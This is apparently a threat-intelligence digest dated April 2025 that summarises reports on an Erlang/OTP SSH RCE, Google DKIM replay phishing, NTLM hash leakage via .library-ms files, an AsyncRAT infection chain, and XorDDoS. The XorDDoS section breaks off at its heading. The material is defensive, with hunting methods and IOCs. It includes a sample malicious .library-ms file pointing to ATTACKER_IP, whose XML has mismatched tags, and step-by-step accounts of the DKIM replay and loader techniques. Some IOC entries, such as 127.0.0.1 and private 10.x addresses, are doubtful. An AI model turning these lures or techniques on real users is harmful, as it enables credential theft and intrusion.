The Feed 2025-04-23

alt text

AI Generated Podcast

Spotify

Summarized Stories

  • CVE-2025-32433: Unauthenticated RCE Vulnerability in Erlang/OTP’s SSH Implementation: Providing a technical breakdown, this source explains that CVE-2025-32433 in Erlang/OTP’s SSH server is a logic flaw where the server fails to disconnect when receiving post-authentication messages during the handshake, enabling attackers to execute commands with the SSH service’s privileges, potentially leading to full system compromise.

  • Google Spoofed Via DKIM Replay Attack: A Technical Breakdown: This source details a DKIM Replay phishing attack where threat actors received a legitimate email from Google, extracted its valid DKIM signature, and then replayed the signed message via external mail services (Outlook, Namecheap) to deliver a spoofed email impersonating Google that passed email authentication checks.

  • CVE-2025-24054, NTLM Exploit in the Wild: This source details CVE-2025-24054, a NTLM hash disclosure via spoofing vulnerability exploitable through malicious .library-ms files, its active exploitation since March 2025 targeting institutions in Poland and Romania, and its similarity to a previously patched vulnerability.

  • Detecting Multi-Stage Infection Chains Madness: This source analyzes a complex, multi-stage infection chain that uses phishing emails with malicious .library-ms files and a Cloudflare tunnel infrastructure to deliver AsyncRAT, highlighting the attacker’s sophisticated tactics to bypass defenses and offering detection strategies.

  • Unmasking the new XorDDoS controller and infrastructure: This source uncovers the latest “VIP version” of the Linux XorDDoS trojan and its new central controller, detailing how this DDoS malware spreads primarily through SSH brute-force attacks targeting Linux machines globally, with a significant focus on the United States, and how the new controller allows managing multiple sub-controllers for more sophisticated attacks.

CVE-2025-32433 Unauthenticated RCE Vulnerability in Erlang-OTP SSH Implementation

Summary

This critical vulnerability, CVE-2025-32433, affects the SSH server component within the Erlang/OTP software platform, a library commonly utilized in telecommunications, messaging, IoT, and distributed applications. Disclosed on April 16, 2025, this flaw allows unauthenticated remote threat actors to achieve Remote Code Execution (RCE) in the SSH daemon with the highest possible severity, receiving a CVSS v3 score of 10.0. The vulnerability stems from a logic error in handling SSH protocol messages during the handshake phase, permitting messages intended for post-authentication to be processed prematurely. This issue enables attackers to gain full system control if the SSH daemon runs with elevated privileges, posing a significant supply chain risk given Erlang’s widespread use in networking, ICS/OT devices, and various enterprise software.

Technical Details

The CVE-2025-32433 vulnerability is rooted in a flaw within the SSH handshake message handling of Erlang/OTP’s built-in SSH server. According to the SSH protocol specification (RFC 4252 §6), message types with IDs greater than or equal to 80 are reserved for stages occurring after user authentication. A compliant SSH server is required to immediately disconnect a session if a client sends such messages before authentication is complete.

In affected versions of Erlang/OTP, the SSH daemon fails to enforce this rule. The server does not disconnect the connection when receiving disallowed messages prematurely during the unauthenticated handshake phase. This oversight in state management allows a threat actor to inject messages intended for post-authentication phases as if the client were already authenticated.

In practical terms, an attacker can perform a “pre-auth channel hijack”. Proof-of-concept code demonstrates this by sending a channel open request to initiate an SSH session, followed immediately by a channel request containing a payload (e.g., a command to execute), all before any authentication (like providing a username or key) occurs. Vulnerable Erlang/OTP SSH servers lack the necessary check to reject this out-of-order message sequence. Instead, they proceed to open the channel and execute the requested command using the privileges of the SSH service process. The entire exploit occurs during the initial handshake without requiring valid credentials. The root cause was identified as a missing condition in the ssh_connection:handle_msg function. The fix involves adding a check to detect message IDs ≥ 80 sent while the authenticated state is false and terminating the connection if detected.

The ease of exploitation is noted as surprisingly trivial. Security researchers were able to recreate an exploit rapidly after initial disclosure, stating it was “surprisingly easy” to craft a working attack. The flaw is a logic mistake, not requiring complex techniques like memory corruption. Public Proof-of-Concept (PoC) exploits became available shortly after disclosure, demonstrating the ability to perform actions like creating a file on the server as root via a single malformed SSH handshake. Experts have warned that mass exploitation is likely imminent due to the simplicity.

The impact of successful exploitation is severe: full system compromise. Any command sent by the threat actor will run with the privileges of the SSH service process. In many Erlang/OTP deployments, the SSH daemon runs as root, granting the attacker absolute control over the system. This allows malicious activities such as creating or modifying files, installing malware (like ransomware), adding new user accounts, running arbitrary programs, or stealing sensitive data. The attack can be a silent, no-auth break-in because it requires no valid credentials or user interaction, potentially bypassing typical authentication logs and leaving minimal initial traces. A compromised system can then serve as a beachhead for lateral movement and pivoting deeper into a network. Threat actors could also cause Denial of Service (DoS) or sabotage by crashing the device or stopping critical services, undermining systems known for high availability.

Industries

The sources indicate that Erlang/OTP is widely used in various industries and applications that may be affected if they utilize the vulnerable SSH component. Potentially affected areas include:

  • Telecommunications and Messaging: Core networks, switches, messaging servers (e.g., Ericsson carrier-grade switches, WhatsApp backend, XMPP servers like Ejabberd or MongooseIM if SSH admin console is enabled).
  • Networking Equipment: Routers, switches, network management systems (e.g., Cisco’s Tail-f ConfD engine).
  • IoT and Industrial Control Systems (ICS)/Operational Technology (OT): Industrial automation controllers, smart sensors, edge computing gateways, embedded systems (e.g., Nerves Project devices, smart meters, PLCs, security cameras if Erlang-based SSH is exposed).
  • Cloud Platforms and Web Applications: Used in the backend of various web applications and potentially in cloud infrastructure.
  • Message Brokers and Queues: RabbitMQ instances with the embedded Erlang SSH interface enabled.
  • Databases and Distributed Stores: Apache CouchDB and former Riak KV (if Erlang SSH server is running for maintenance/clustering).
  • Financial Services: Used in some financial systems.
  • Systems using Linux Distributions: If local applications or services on servers use the OTP SSH from OS packages instead of OpenSSH.

Recommendations

  • Upgrade to Latest Fixed Version: Arctic Wolf recommends upgrading to the latest fixed version of Erlang OTP. Cybereason also states that patching is the top priority and notes the specific patch versions released by Erlang/OTP maintainers that fix the vulnerability.
Affected Versions Fixed Versions
OTP-27.3.2 and prior OTP-27.3.3
OTP-26.2.5.10 and prior OTP-26.2.5.11
OTP-25.3.2.19 and prior OTP-25.3.2.20
  • Monitor Vendor Security Updates: The security patch for Erlang/OTP SSH is not automatically applied to software products that use it. It is recommended to monitor software vendor advisories for security updates specific to the affected third-party products and apply them promptly. This is the best method for remediating the vulnerability in affected software products. Vendors like Cisco or Ericsson that embed Erlang in their products should issue updates aligned with the patched Erlang versions. Users obtaining Erlang/OTP from system package managers should look for these updated versions. Ubuntu, for instance, backported the fix to its supported Erlang packages.
  • Temporary Workarounds: For users unable to immediately upgrade, Erlang recommends disabling the SSH server or restricting access using firewall rules as temporary workarounds.
  • Restrict Network Access: Use firewall rules or security groups to limit which IP addresses can reach the SSH port.
  • Disable the SSH server: If the Erlang/OTP SSH functionality is not essential, consider turning it off until patching is possible.
  • Containment: Ensure the Erlang node can only be accessed from a secure management network or VPN.
  • Upgrade End-of-Life Products: VMware products and versions that are end-of-life will not receive patches. It is recommended to upgrade related products to supported versions eligible for updates.

Hunting methods

The sources provide several detection and response recommendations for hunting for signs of this vulnerability being targeted:

  • Monitor for abnormal SSH traffic or connections with no associated login events: Since the attack occurs before authentication and doesn’t require credentials, look for SSH connection attempts or successful connections that do not have corresponding successful login events in authentication logs.
  • Check for system commands executed by the erlang or beam.smp process outside of expected contexts: Threat actors gain code execution within the context of the Erlang VM process (often beam.smp). Monitor for unexpected commands or processes being spawned by this process, especially if they appear unrelated to the normal operation of the Erlang application.
  • Audit logs for recent unexpected file creation or service disruptions: After gaining RCE, attackers might create files, install malware, or cause disruptions. Review logs around the time the CVE became public (April 16, 2025) or during suspected intrusion periods for signs of unexpected file modifications or service outages related to the affected system.
  • Look for unexpected SSH connections or odd commands executed by the Erlang VM: This reinforces the points above, emphasizing that the lack of standard authentication logs means focusing on system-level activities originating from the Erlang process.
  • Increase the verbosity of logging: If possible, increase logging levels for the Erlang/OTP SSH service. The patch for this vulnerability will cause the server to log an error and disconnect if an attacker attempts the exploit, making detection easier in patched systems or providing forensic evidence in vulnerable ones that received the malformed request.

Original link: https://www.cybereason.com/blog/rce-vulnerability-erlang-otp

Google Spoofed Via DKIM Replay Attack: A Technical Breakdown

Summary

This intelligence details a sophisticated phishing campaign that successfully spoofs emails originating from Google. The attack leverages a DKIM replay technique combined with the abuse of legitimate Google infrastructure, specifically Google Sites. The primary goal is to trick recipients into believing a fraudulent email, often claiming to be a security alert or legal notification requiring urgent action, is legitimate, leading them to a fake support portal hosted on Google Sites for credential harvesting. The strategic threat here is the ability of attackers to bypass standard email authentication checks (SPF, DKIM, DMARC) by replaying a legitimate, signed email, making the phishing attempts appear highly credible even to technical users. This method weaponizes trusted platforms like Google Sites and Google’s own email system against users.

Technical Details

alt text

The attack relies on a DKIM replay mechanism where a legitimate email, originally sent by Google with a valid DKIM signature, is intercepted and re-sent by the attacker. The process involves several steps:

  1. Initial Legitimate Email Acquisition: The attacker first obtains a real email sent by Google, specifically originating from no-reply@accounts.google.com, which includes a valid DKIM signature for the accounts.google.com domain. This email is saved precisely as received, preserving the headers and body covered by the DKIM signature.
  2. Abusing Google Infrastructure (OAuth/Workspace): A key technique observed involves the attacker registering a domain (e.g., via Namecheap) and setting up a Google Workspace account (possibly a free trial) using an email address like me@attacker-controlled-domain.net. They then create a Google OAuth app within this account. Crucially, the attacker places the entire fraudulent phishing message content into the App Name field of the Google OAuth app. When the attacker grants this OAuth app access to their me@ email account, Google’s systems automatically generate and send a security alert email to that account, notifying the user that the app has been granted access. Because this notification email is generated by Google’s systems in response to a legitimate action within their platform, it carries a valid DKIM signature from Google (d=accounts.google.com). This email, containing the attacker’s crafted phishing message within the body (derived from the App Name field), now has Google’s legitimate DKIM stamp.
  3. Email Replay and Forwarding: The attacker’s me@ email account is configured to forward this Google-signed security alert to the intended victims. The forwarding mechanism, in the described example, used intermediate SMTP services. The message is sent from an external account (e.g., an Outlook account), relayed through custom SMTP services like asp-relay-pe.jellyfish.systems, and then potentially forwarded again via services like Namecheap’s PrivateEmail (mta-02.privateemail.com, DIR-08, fwd-04.fwd.privateemail.com, fwd-04-1.fwd.privateemail.com). While the forwarding services might add their own DKIM signatures, these signatures are typically not aligned with the original From address (accounts.google.com) and are thus ignored by DMARC. The critical point is that the original Google DKIM signature remains intact because the body and relevant headers covered by it were not modified.
  4. Authentication Bypass: When the victim’s email server receives the forwarded message, it checks email authentication records (SPF, DKIM, DMARC). Due to the untouched and still-valid Google DKIM signature (d=accounts.google.com; s=20230601; bh=a+1bch/...) aligning with the From address (no-reply@accounts.google.com), the email passes DMARC checks. The mailed-by header reveals the actual sending server (e.g., fwd-04-1.fwd.privateemail.com), different from Google’s no-reply address. However, the successful DMARC alignment based on the valid Google DKIM overrides this discrepancy for many email clients and security systems, presenting the email as legitimate. The attacker’s clever use of me@attacker-controlled-domain.net as the forwarding address can also cause Gmail to display the email as being addressed to the victim’s own email address.
  5. Credential Harvesting via Google Sites Abuse: The body of the spoofed email contains a deceptive message, often claiming a legal request (like a subpoena) requiring access to the victim’s Google Account content. This message includes a link presented as a “Google Support Case”. The link directs the user to a page hosted on sites.google.com. This page is crafted by the attacker using Google Sites, a free tool allowing anyone with a Google account to build websites. The attacker designs this Google Sites page to mimic an official Google support portal or login page. Because the page is hosted on a trusted Google-owned domain (sites.google.com), it benefits from Google’s SSL certificate and brand reputation, lowering the user’s guard. The fraudulent page then prompts the user to enter their Google account credentials, which are subsequently harvested by the attacker.

This attack technique demonstrates the weaponization of legitimate platform features (Google OAuth notifications, Google Sites) and email protocol nuances (DKIM replay, DMARC alignment) to achieve high-credibility phishing. A similar technique was observed targeting PayPal users.

Recommendations

  • Do Not Engage: Users should never click on links or follow instructions provided in suspicious or unexpected emails, regardless of how legitimate they appear. This includes not clicking links or downloading attachments.
  • Sandbox Analysis: Investigation of suspicious emails, especially those with links or attachments, should be performed by professionals in a secure, sandboxed environment isolated from production systems.
  • Report Suspicious Emails: Users should report and escalate suspicious emails to their security team or appropriate contacts instead of interacting with them.
  • Verify URLs Carefully: Always scrutinize the URL of login pages or pages requesting sensitive information. In this specific attack, verify that official Google pages are hosted on expected subdomains like accounts.google.com, not on generic platforms like sites.google.com. Even if the domain looks legitimate, the content might not be.
  • Understand Subpoena Procedures: Familiarize yourself with how legal documents like subpoenas are formally served in your jurisdiction. Real subpoenas are typically served personally, by certified mail, or email with prior consent/court approval, never through third-party platforms or generic links in unexpected emails.
  • Implement Robust Email Authentication (for organizations): While DKIM replay is a complex attack, ensuring SPF, DKIM, and DMARC are correctly configured for your domain helps protect against other spoofing attempts and provides visibility into abuse via DMARC reports. Microsoft requires DMARC for high-volume senders.

Hunting methods

The sources describe methods used to identify the fraudulent email and landing page:

  • Email Header Analysis: Examine the full email headers. Look specifically at the SPF, DKIM, and DMARC authentication results. Although DMARC passes in this attack due to the replayed DKIM, look for discrepancies such as the mailed-by header showing an unexpected sending domain (e.g., from Namecheap PrivateEmail like fwd-04-1.fwd.privateemail.com) instead of Google’s legitimate servers. Also, check for Resent-From or Redirected-From headers which indicate forwarding.
  • Link Analysis: Do not click links directly. Inspect the URL associated with links, ideally using safe preview features or within a sandbox. Specifically, look for links that claim to be official Google support or login pages but point to https://sites.google.com/ or other unexpected subdomains, rather than official ones like https://accounts.google.com/.

The sources do not provide specific hunting queries in languages like Yara, Sigma, KQL, or SPL. Hunting efforts should focus on log analysis related to email delivery (mail logs showing unexpected sending sources for Google emails), web traffic logs (visits to known malicious or suspicious Google Sites URLs from email links), and potentially authentication logs (failed login attempts on legitimate Google properties following a phishing email delivery).

IOC

Domains

googl-mail-smtp-out-198-142-125-38-prod.net
wd-00000000000097d33d0631f6fe58-goog-ssl.com
asp-relay-pe.jellyfish.systems
mta-02.privateemail.com
fwd-04.fwd.privateemail.com
fwd-04-1.fwd.privateemail.com
sites.google.com (Abused platform - specific malicious paths/pages are the true IOCs, e.g., sites.google.com/u/34961821/d/...)

IPs

40.93.67.3
162.255.118.7
10.50.14.12
10.50.14.198
10.50.14.190
127.0.0.1
66.29.159.58

Original link: https://easydmarc.com/blog/email-security/google-spoofed-via-dkim-replay-attack-a-technical-breakdown/ https://www.bleepingcomputer.com/news/security/phishers-abuse-google-oauth-to-spoof-google-in-dkim-replay-attack/

CVE-2025-24054, NTLM Exploit in the Wild

Summary

This intelligence details the active exploitation of CVE-2025-24054, a Windows vulnerability allowing NTLM hash disclosure via spoofing using maliciously crafted .library-ms files. Although Microsoft released a patch on March 11, 2025, active exploitation was observed in the wild starting just eight days later, around March 19, 2025. This rapid exploitation highlights the challenge organizations face in patching quickly enough to prevent compromise. The vulnerability is significant because it requires minimal user interaction to trigger, often just navigating to or right-clicking the file. Successfully leaking NTLMv2-SSP hashes allows attackers to potentially brute-force user passwords offline or perform NTLM relay attacks. These attacks pose a risk of lateral movement and privilege escalation, particularly if privileged account hashes are compromised. The vulnerability has been leveraged in malspam campaigns targeting government and private institutions.

Technical Details

The vulnerability, CVE-2025-24054, is classified as an NTLM Hash Disclosure Spoofing vulnerability within Windows Explorer. It allows an attacker to leak a user’s NTLMv2-SSP hash without significant user interaction. This hash, also known as Net-NTLMv2, is generated as part of the NTLMv2 challenge/response authentication process, which was designed to be more secure than NTLMv1 by incorporating random server and client challenges. While NTLMv2 hashes are resistant to simple pass-the-hash or rainbow table attacks, they can still be vulnerable to offline brute-forcing or used in NTLM relay attacks.

The exploit leverages a maliciously crafted .library-ms file. A .library-ms file is an XML file that typically defines a library in Windows Explorer, often including paths to folders or network locations. The malicious .library-ms file contains a searchConnectorDescription section with a simpleLocation element that points to an attacker-controlled remote server using a UNC path (e.g., \\\\ATTACKER_IP\\SHARE_NAME).

Example structure of the malicious .library-ms file:

<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <simpleLocation>
        <url>\\\\ATTACKER_IP\\SHARE_NAME</url>
      </simpleLocation>
    </searchConnectorDescriptionList>
</libraryDescription>

When a user interacts with this malicious .library-ms file in Windows Explorer, even minimally (such as selecting it, right-clicking it, or navigating to its folder), Windows Explorer attempts to access the specified remote UNC path. This action triggers a Server Message Block (SMB) connection attempt to the attacker’s IP address. As part of the SMB authentication process, the client sends an NTLMSSP_AUTH message. Within this message, the client inadvertently leaks the user’s NTLMv2-SSp hash to the attacker-controlled SMB server.

Analysis of network traffic (PCAP) confirms that the user’s NTLMV2-SSp hash is included in the Session Setup Response, NTLMSSP_AUTH, User: WIN-\\user packet sent to the malicious SMB server.

Two primary campaign types utilizing this vulnerability were observed:

  1. “NTLM Exploits Bomb Campaign”: Observed around March 20–21, 2025, this campaign distributed an archive file (xd.zip) via malspam linking to Dropbox. The archive contained multiple files designed to leak NTLMv2-SSp hashes, including xd.library-ms (exploiting CVE-2025-24054), xd.url (exploiting CVE-2024-43451), xd.website, and xd.lnk. While the .url, .website, and .lnk files also used UNC paths to trigger SMB connections, some sources suggest they required more explicit manual user interaction than the .library-ms file exploiting CVE-2025-24054. The SMB server used in this campaign was 159.196.128[.]120. This IP was previously linked to APT28/Fancy Bear/Forest Blizzard by HarfangLab, though the source notes no direct confirmation of this association in the current campaign.
  2. Email Campaign with Non-archived .library-ms: Discovered on March 25, 2025, this campaign directly attached the malicious .library-ms file to emails, demonstrating that the file does not need to be inside a ZIP archive for the exploit to trigger with minimal user interaction. The SMB server used in this campaign was 194.127.179[.]157. This campaign targeted companies globally.

The core technique is the use of files that support UNC paths (specifically .library-ms leveraging the vulnerability, but also .url, .website, .lnk) to force outbound SMB connections to attacker-controlled systems, thereby capturing NTLMv2-SSP hashes during the NTLMSSP authentication handshake. This exploit is similar to a previously patched vulnerability, CVE-2024-43451, which was exploited via .url files. CVE-2024-43451 was linked to the Russian-affiliated actor UAC-0194 by CERT-UA.

Countries

Targeted countries mentioned include Poland and Romania in the “NTLM Exploits Bomb Campaign”. A subsequent campaign targeted companies around the world. SMB servers used to collect hashes were hosted in Russia, Bulgaria, the Netherlands, Australia, and Turkey. Previous related activity (CVE-2024-43451) targeted Ukraine.

Industries

The sources mention attacks targeting government and private institutions in Poland and Romania. Another campaign targeted companies around the world.

Recommendations

  • Apply the patch for CVE-2025-24054 immediately. Microsoft released the patch on March 11, 2025.
  • Address NTLM vulnerabilities in your environment.
  • Ensure proper mitigations are in place for NTLM relay attacks and privilege escalation, such as SMB signing and NTLM relay protections.
  • Maintain a proactive approach to patch management.
  • Strengthen network security to detect and prevent outbound SMB connections to unexpected external destinations.

Hunting methods

  • Monitor outbound SMB connections: Look for SMB connection attempts originating from internal workstations or servers attempting to connect to external IP addresses, especially those outside of expected corporate network ranges or trusted VPNs. This is because the exploit forces the victim’s machine to initiate an SMB connection to the attacker’s remote SMB server.
  • Analyze NTLM authentication traffic: Filter network traffic (e.g., using Wireshark or network monitoring tools) for SMB protocol traffic that includes NTLMSSP authentication messages, particularly the NTLMSSP_AUTH message. Examine the destination IP addresses in such traffic to identify connections to potentially malicious external servers.
  • Scan for files with suspicious UNC paths: Look for files with extensions .library-ms, .url, .website, and .lnk that contain UNC paths (\\\\server\\share) pointing to external IP addresses or suspicious domain names. These files can be identified by scanning file systems or monitoring file creation/modification events, particularly within downloaded archives or email attachments. Note that the structure for each file type differs.

Logic for UNC path hunting: Search for files matching the listed extensions. Read the content of these files (XML for .library-ms, INI-like format for .url, etc.) and look for the UNC path pattern \\\\ followed by an IP address or domain name, especially within relevant fields like <url> (in .library-ms) or URL= (in .url/.website/.lnk). Filter for destination servers that are not known internal resources.

IOC

The following Indicators of Compromise (IOCs) are listed in the sources:

Hashes

9ca72d969d7c5494a30e996324c6c0fcb72ae1ae
84132ae00239e15b50c1a20126000eed29388100
76e93c97ffdb5adb509c966bca22e12c4508dcaa
7dd0131dd4660be562bc869675772e58a1e3ac8e
5e42c6d12f6b51364b6bfb170f4306c5ce608b4f
054784f1a398a35e0c5242cbfa164df0c277da73
7a43c177a582c777e258246f0ba818f9e73a69ab

Domains

dl.dropboxusercontent.com
stu.iku.edu.tr
alunos.estgv.ipv.pt
com.dmu.edu.eg
edu.ipchile.cl
istlam.edu.ec
nu.ac.th
edu.uni.lodz.pl
buc.edu.eg

IPs

159.196.128.120
194.127.179.157

Original link: https://research.checkpoint.com/2025/cve-2025-24054-ntlm-exploit-in-the-wild/

Detecting Multi-Stage Infection Chains Madness

Summary

This intelligence report details a complex, multi-stage infection chain that has been leveraging a persistent attacker infrastructure, referred to as the “Cloudflare tunnel infrastructure to deliver multiple RATs,” since at least February 2024. This infrastructure, utilized by multiple actors, is employed to host malicious files and distribute remote access trojans (RATs), specifically focusing on an AsyncRAT variant in the analyzed chain. The primary objective of these campaigns is likely data theft, consistent with typical cybercriminal activities. The initial access vector commonly observed is phishing emails, often themed as invoices or orders, containing malicious attachments designed to trick recipients into execution. The report emphasizes the detection opportunities at various stages of this intricate attack flow. The observed techniques, such as using .library-ms files and reflective loading from images, illustrate how attackers employ sophisticated methods in 2025 to bypass standard security measures, underscoring the need for combined cyber threat intelligence (CTI) and layered detection rules for effective defense.

Technical Details

This sophisticated infection chain utilizes a series of steps and evasion techniques to ultimately deploy the AsyncRAT payload. The attack relies heavily on a resilient infrastructure using the TryCloudflare service and WebDAV protocol to host malicious files. This infrastructure has been operational since at least February 2024.

The attack commences with an initial access vector typically being a phishing email disguised as an invoice or order. These emails carry a malicious attachment, identified as an old “application/windows-library+xml” file type, specifically a .library-ms file. While this format might be blocked by some gateways, it is not universally considered high-risk like binary files.

Interaction with the malicious .library-ms file (e.g., opening it) triggers a network connection to a remote resource specified within the file’s XML content via the WebDAV protocol. The structure includes a <url> element pointing to the attacker-controlled WebDAV server (e.g., malawi-light-pill-bolt[.]trycloudflare[.]com). Upon validation of a warning prompt, Windows Explorer connects to and attempts to display the remote file hosted on the WebDAV server.

The remote file accessed via WebDAV is a LNK file, cleverly disguised as a shortcut to a PDF file to maintain relevance to the phishing theme. The attacker’s choice to deliver the LNK file over the network (WebDAV) appears to be a technique to bypass detection, potentially avoiding the .download extension that modern browsers append to LNK files downloaded directly. Interacting with this LNK file also triggers a standard Windows Security warning pop-up.

If the user successfully bypasses these initial security prompts and executes the LNK file, it does not open a PDF. Instead, the LNK file properties are configured to execute an HTA file (HTML Application). This HTA file is typically hosted on the same attacker infrastructure, though sometimes a different server is used.

The executed HTA file contains VBScript code designed to perform the next step: executing a BAT file downloaded from the same remote server. This is a crucial step in the infection chain and is observable as cmd.exe being spawned by mshta.exe.

The BAT file execution is described as complex and heavily obfuscated, involving numerous steps. Its primary function is to leverage PowerShell to download and install further dependencies: specifically, two archive files containing the Python language interpreter and necessary Python scripts. This installation process generates significant activity on the host.

Once the Python environment is set up, the obfuscated Python script takes over. This script proceeds to inject the next stage of the payload into multiple notepad.exe processes.

To ensure persistence, the attack establishes footholds in the Windows Startup folder. This is achieved by dropping and configuring two VBS files and one BAT file within the user’s Startup directory (C:\Users\*\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\). The VBScript files are potentially used for sandbox detection evasion, possibly by implementing loops that simulate user interaction like key presses.

The subsequent stage employs PowerShell again, this time for reflective loading. The PowerShell script downloads a payload that is embedded as a base64 string within a JPEG image file. This image (ENCRYPTION01.jpg was observed) is hosted on a compromised public website, distinct from the main Cloudflare tunnel infrastructure used for earlier stages. The PowerShell uses the .NET reflection capability, specifically [System.Reflection.Assembly]::Load(), to load and execute the downloaded payload directly in memory from the base64 data, bypassing traditional file-based execution and potentially evading static antivirus scans.

The final payload loaded reflectively is the AsyncRAT. The RAT then establishes its command and control (C2) channel. These C2 connections are typically made to public IP addresses that resolve to domain names using dynamic DNS services like dyndns.org.

Following the Python installation and likely prior to or concurrently with the final payload execution, the attack performs cleanup and defensive evasion. The BAT script uses the standard Windows command attrib.exe with parameters (e.g., +h +s) to hide the directories created during the Python installation process (“Extracted”, “Print”). While attrib.exe is legitimate, its use here to hide specific, recently created directories serves as a weak signal of malicious activity, particularly when correlated with the timing and suspicious folder names.

This multi-stage approach, moving from a seemingly benign .library-ms file through WebDAV, LNK, HTA, BAT, PowerShell, Python, process injection, persistence, and finally reflective loading from an image, demonstrates the attackers’ intent to layer techniques and evade detection at multiple points. The reliance on the resilient Cloudflare tunnel infrastructure ensures the initial stages remain accessible.

Countries

The provided excerpt does not explicitly list specific targeted countries for this particular campaign.

Industries

The provided excerpt does not explicitly list specific targeted industries for this particular campaign, only mentioning that initial access targets “employees”.

Recommendations

Based on the analysis of this infection chain, several technical recommendations are provided or implied:

  • Email Gateway Configuration: Configure email gateways to block “application/windows-library+xml” (.library-ms) files. While not always blocked, considering its minimal legitimate use over networks in 2025 and observed malicious use, blocking is advisable.
  • Endpoint Detection Rules: Implement and tune detection rules across the infection chain.
    • Use Sigma rules to detect suspicious email attachments based on extensions, specifically adding .ms-library.
    • Implement Sigma rules to detect suspicious child processes, such as cmd.exe spawned by mshta.exe.
    • Develop or use Sigma correlation rules to identify sequences of events indicative of this chain, such as HTA execution followed by suspicious commands within a time window, particularly when originating from Explorer.
    • While potentially noisy, consider rules that detect archive file creation followed shortly by Windows commands, as seen with the Python installation. Use temporal conditions or whitelisting for usability.
    • Utilize Sigma rules or similar mechanisms to detect suspicious keywords or commands in PowerShell execution, particularly reflective loading techniques like [System.Reflection.Assembly]::Load().
    • Consider monitoring attrib.exe usage for hiding files, though treat this as a weak signal and focus correlation on timing and suspicious folder paths.
    • Use Sigma rules or CTI feeds to detect connections to dynamic DNS services (dyndns.org) as potential C2 activity.
  • Network Monitoring: Monitor network traffic for outbound WebDAV connections (TCP/80, 443) to suspicious or external IP addresses/domains, especially those associated with the Cloudflare tunnel infrastructure (trycloudflare.com). Monitor C2 connections to dynamic DNS domains.
  • File System Monitoring: Continuously monitor critical file system locations like the Windows Startup folder for the creation of suspicious VBS or BAT files. Use hunting queries to identify unusual entries.
  • Combine CTI and Detection: Enhance detection capabilities by integrating Cyber Threat Intelligence feeds with detection rules. Track known attacker infrastructure (like the Cloudflare tunnels) and specific C2 indicators (like tracked AsyncRAT C2s and dynamic DNS domains).
  • Proactive Defense: Regularly evaluate the efficiency of existing detection methods against evolving attacker TTPs. Maintain a strategy that covers both basic TTPs and combinations of multiple TTPs.

Hunting methods

  • Sigma Rule: “Suspicious Email Attachment Received”
  • email_suspicious_attachment_received
    • Logic: Detects suspicious file extensions in email-related events. The rule was updated to include the .ms-library extension based on this investigation. This rule is effective but may require filtering false positives based on legitimate IT actions.
  • Sigma Rule: “Mshta Suspicious Child Process”
  • mshta_suspicious_child
    • Logic: Triggers when cmd.exe is observed as a child process of mshta.exe. This is described as a very efficient detection method with low false positives.
  • Sigma Correlation Rule: “HTA Infection Chains”
  • correlation_lnk-hta_infection_chain
    • Logic: Correlates events based on the temporal proximity between the creation or execution of an HTA file (e.g., by Explorer as a parent process running mshta.exe) and subsequent suspicious command executions. This rule aims to detect the specific attack stage where the HTA drops and runs the BAT file.
  • Sigma Correlation Rule: “ISO LNK Infection Chain”
  • correlation_iso-lnk_chain
    • Logic: Looks for the creation of an archive file (like ISO or XZ observed here) on disk followed by certain Windows commands within a defined time frame (e.g., five minutes). While triggered by the noisy Python installation in this case, the rule is generally designed for similar infection chain patterns. Note that implementing this rule might be challenging in environments with frequent legitimate command-line tool usage and file operations.
  • Hunting Query (Sekoia Operating Language - SOL): Detecting Startup Folder Persistence
    • Query: 
      events | where timestamp >= ago(30d) | where file.path contains "Startup\" | where file.path contains "Users" | distinct file.path
    • Logic: This query searches through event data from the last 30 days (timestamp >= ago(30d)). It filters for events where the file path (file.path) includes both the string “Startup" (indicating a path within a Startup folder) and the string “Users” (to focus on user-specific Startup folders). Finally, it lists the distinct file paths found. This helps analysts quickly identify unusual files added to user Startup folders that might indicate persistence mechanisms.
    • Observed paths in lab:
      • C:\Users*\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PWS.vbs
      • C:\Users*\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pws1.vbs
      • C:\Users*\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\startupppp.bat
  • Sigma Rule: “Suspicious PowerShell Keywords”
  • powershell_suspicious_keywords
    • Logic: Detects the usage of specific suspicious keywords or methods within PowerShell command execution. It is noted as triggering precisely on the [System.Reflection.Assembly]::Load() call used for reflective loading.
  • Sigma Rule: “Hiding Files With Attrib.exe”
  • attrib_hiding_files
    • Logic: Detects the execution of attrib.exe with parameters commonly used to hide files or folders (e.g., +h, +s). While a weak signal on its own due to legitimate use, its detection is relevant when correlated with other events, suspicious folder paths, and timing relative to an initial infection.
  • Sigma Rule based on CTI enrichment: “Dynamic DNS Contacted”
  • dynamic_dns_domain
    • Logic: Detects network connections to domain names that resolve using dynamic DNS services (e.g., dyndns.org). This is effective for finding suspicious C2 connections but can be noisy in environments with legitimate dynamic DNS usage.
  • CTI Feed / Network Monitoring: Detecting network connections to the known attacker infrastructure domains (like trycloudflare.com domains) and tracked AsyncRAT C2s is also a key detection method.

IOC

Hashes

0d8d46ec44e737e6ef6cd7df8edf95d83807e84be825ef76089307b399a6bcbb
c935cc41342794c23d640333a1ddd511f9c51e5b790261dc848ec5f7ac28650a
47453b0ad93f60254ffb30a0964e0b8b6f1979e199d707b971c6ab6277fe0185
5d932bfda0ffd3171700de2fd43fc89c0f1d89eeabac92081ebe2062da84152
0d7cee0c13374181a23e8f605b32f2969c9c490b83c7891318f26bd17777fd7c
e0e0f9a1082b641acff2cb225454342ca54109d01001b0e20b4fac0c9d5501a4
c458a21ae510f81fd76affb147ce84008c66b9dab246f6a2322e0f3b137e0539
33feae2e66e25f1b2d5905e0ce7b837bdeb6e8e9782ab39ff06b2243a7c4b5e7
a0a446acd5540772ab9a3ae2f78f94f9a203cae06249d9e70710d7f797ff9da9
0ff5dd1787acc886a586282858112c6f73b48c31093080d2d8a6e66f018ce8c7

Domains

malawi-light-pill-bolt.trycloudflare.com
players-time-corresponding-th.trycloudflare.com
spaces-corner-notices-battery.trycloudflare.com
xi-if-grows-valued.trycloudflare.com
phvnmarch8787.duckdns.org

Original link: https://blog.sekoia.io/detecting-multi-stage-infection-chains-madness/

Unmasking the new XorDDoS controller and infrastructure

Summary

